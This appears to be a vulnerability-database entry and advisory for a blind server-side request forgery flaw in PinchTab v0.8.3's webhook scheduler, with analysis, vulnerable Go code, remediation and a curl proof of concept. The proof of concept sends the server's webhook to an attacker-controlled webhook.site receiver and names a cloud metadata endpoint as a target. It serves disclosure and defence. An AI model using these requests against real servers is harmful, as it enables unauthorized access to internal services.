CVE-2026-33619
MEDIUMVulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 score of 4.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N) reflects a network-based attack with high privilege requirements, low complexity, and limited integrity impact without confidentiality or availability consequences. The high PR requirement (PR:H) indicates that in token-protected deployments—PinchTab's documented default—the attacker must already possess the master API token, effectively requiring administrative control. However, this privileging assumption is significantly weakened in two scenarios: (1) tokenless deployments, which lower the barrier to unauthenticated SSRF, and (2) environments where the scheduler is enabled and exposed beyond loopback. The availability of a public proof-of-concept demonstrates technical feasibility and reduces exploitation barriers. While EPSS data is not provided in the references, the combination of public POC, clear exploitation path, and scope change (affecting other components or services reachable from the server) suggests moderate real-world priority despite the CVSS 4.1 baseline. The practical risk is materially reduced by the default local-first deployment model (loopback bind, optional scheduler disabled, token-based access) but remains non-negligible in operator-enabled scheduler configurations or credential-less deployments. |
| Exploit ScenarioDerived | An attacker with administrative API token access (or operating in a tokenless deployment) submits a task via POST /tasks with a malicious callbackUrl pointing to an internal HTTP service, cloud metadata endpoint (such as 169.254.169.254), or attacker-controlled external server. The scheduler processes the task, and when it reaches a terminal state (success or failure), the v0.8.3 webhook handler dispatches an outbound POST to the supplied URL without validating the target IP range or disabling redirects. If the URL is an attacker-controlled server, it receives a webhook POST originating from the PinchTab server's IP, confirming egress capability. If the URL is an internal service, the blind SSRF may trigger state changes (e.g., credential injection, service restart) or information disclosure (metadata endpoint responses). A public proof-of-concept using webhook.site demonstrates successful outbound delivery, and the attack vector is network-based with low complexity. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 24, 2026
PinchTab v0.8.3 contains a server-side request forgery vulnerability in its optional webhook scheduler that allows authenticated attackers to trigger outbound HTTP POST requests to arbitrary destinations, including internal and non-public IP ranges. The vulnerability exists because the webhook delivery path validates only the URL scheme (http/https) without rejecting loopback, private, or link-local addresses, and the HTTP client follows redirects without re-validation. A proof-of-concept is publicly available demonstrating blind SSRF capability; however, practical exploitation requires either administrative API token access in token-protected deployments or a tokenless configuration, and the scheduler must be explicitly enabled (it is disabled by default).
RemediationAI
Upgrade PinchTab to version v0.8.4 or later immediately (see https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4). The vendor patch implements four key controls: (1) hostname resolution before webhook dispatch with rejection of loopback, private, link-local, multicast, and unspecified IP ranges; (2) IP pinning to prevent time-of-check-time-of-use (TOCTTOU) DNS rebinding attacks; (3) disabling HTTP redirect following or re-validating redirect targets; and (4) server-side validation of callbackUrl during task submission to fail unsafe targets early. Until patching is possible, operators should disable the scheduler (the default state) or restrict network access from the PinchTab server to approved webhook destinations via egress firewall rules. Additionally, enforce strong API token management and avoid tokenless deployments in multi-user or untrusted network environments.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in PinchTab's scheduler webhook delivery mechanism (internal/scheduler/webhook.go and internal/scheduler/task.go), a Go-based application (CPE: pkg:go/github.com_pinchtab_pinchtab). The root cause is classified under CWE-918 (Server-Side Request Forgery) and stems from insufficient input validation and output control of user-supplied callbackUrl parameters. The vulnerable code accepts any http or https URL scheme without performing DNS resolution or IP range validation before dispatch, and uses Go's default http.Client which automatically follows HTTP redirects without re-validating redirect targets. This design flaw allows the server to be weaponized as a proxy for outbound requests to internal services, cloud metadata endpoints, or other HTTP targets reachable from the server's network segment but not directly accessible to the attacker.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to POST /tasks with a user-controlled callbackUrl, the v0.8.3 scheduler sends an outbound HTTP POST to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.
Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.
This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.
PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.
This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating callbackUrl during task submission.
Details
Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (internal/scheduler/webhook.go): The vulnerable sendWebhook() implementation accepted any http or https URL and dispatched the outbound request without destination IP validation:
// internal/scheduler/webhook.go - v0.8.3
parsed, err := url.Parse(callbackURL)
if parsed.Scheme != "http" && parsed.Scheme != "https" {
slog.Warn("webhook: unsupported scheme", ...)
return
}
req, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))
resp, err := webhookClient.Do(req)In v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.
Issue 2 - callbackUrl was accepted without server-side validation in v0.8.3 (internal/scheduler/task.go): The task submission schema accepted a user-controlled callbackUrl, and the v0.8.3 request validation logic did not validate it:
// internal/scheduler/task.go - v0.8.3
type SubmitRequest struct {
AgentID string `json:"agentId"`
Action string `json:"action"`
CallbackURL string `json:"callbackUrl,omitempty"`
}
func (r *SubmitRequest) Validate() error {
if r.AgentID == "" {
return fmt.Errorf("missing required field 'agentId'")
}
if r.Action == "" {
return fmt.Errorf("missing required field 'action'")
}
return nil
}This meant a user-supplied callbackUrl flowed into webhook delivery without early rejection.
Issue 3 - Redirects were followed in v0.8.3: The v0.8.3 webhook client used the default http.Client, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.
PoC
Prerequisites
- PinchTab
v0.8.3 scheduler.enabled: truebecause the scheduler is off by default- The attacker can submit tasks to
POST /tasks - In token-protected deployments, this requires the master API token
- In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself
- An attacker-controlled HTTP listener to receive and log the outbound request
Enable scheduler if required:
curl -s -X PUT http://TARGET:9867/api/config \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"scheduler":{"enabled":true}}'Restart PinchTab after changing config.
Execution Submit a task with an attacker-controlled callbackUrl. A valid tabId is not required because the webhook fires for terminal task states, including failure:
curl -s -X POST http://TARGET:9867/tasks \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"agentId": "poc-agent",
"action": "navigate",
"params": {"url": "https://example.com"},
"callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19"
}'Confirm the task was accepted:
{
"createdAt": "2026-03-18T10:02:39.847097+07:00",
"position": 1,
"state": "queued",
"taskId": "tsk_2633324a"
}Poll task state:
curl -s -H "Authorization: Bearer <token>" http://TARGET:9867/tasks/tsk_2633324aExample result:
{
"taskId": "tsk_2633324a",
"state": "failed",
"error": "tabId is required for task execution",
"callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19",
"completedAt": "2026-03-18T10:02:39.858043+07:00"
}Query the attacker-controlled receiver for the inbound POST:
curl -s "https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests" \
| python3 -m json.toolObservation
- The task is accepted and reaches a terminal state.
- The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address.
- The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.
- In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.
- This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.
Impact
- Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.
- Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.
- Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.
- Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.
- Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.
Suggested Remediation
Apply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:
- Resolve the hostname of
callbackUrlbefore dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges. - Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.
- Reject redirects or re-validate every redirect target before following it.
- Validate
callbackUrlduring task submission so unsafe targets fail early instead of only at delivery time. - Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.
Evidence Capture
Exploit
<img width="2864" height="1387" alt="new" src="https://github.com/user-attachments/assets/b7b5cf31-c463-4e25-adff-fc8798f1f33b" />
Verify
<img width="2866" height="1474" alt="web" src="https://github.com/user-attachments/assets/65391b00-8df5-4c3c-8789-eb100f65b301" />
Executive ViewAI
Organizations using PinchTab v0.8.3 should be aware of moderate risk from CVE-2026-33619, a server-side request forgery vulnerability rated CVSS 4.1. Users could be tricked into performing unintended actions. A patch is available and should be applied during regular vulnerability management.
Apply vendor patch. If patching is delayed: implement egress filtering, block metadata endpoints.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in PinchTab Authentication and Injection Flaws
View all 5Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB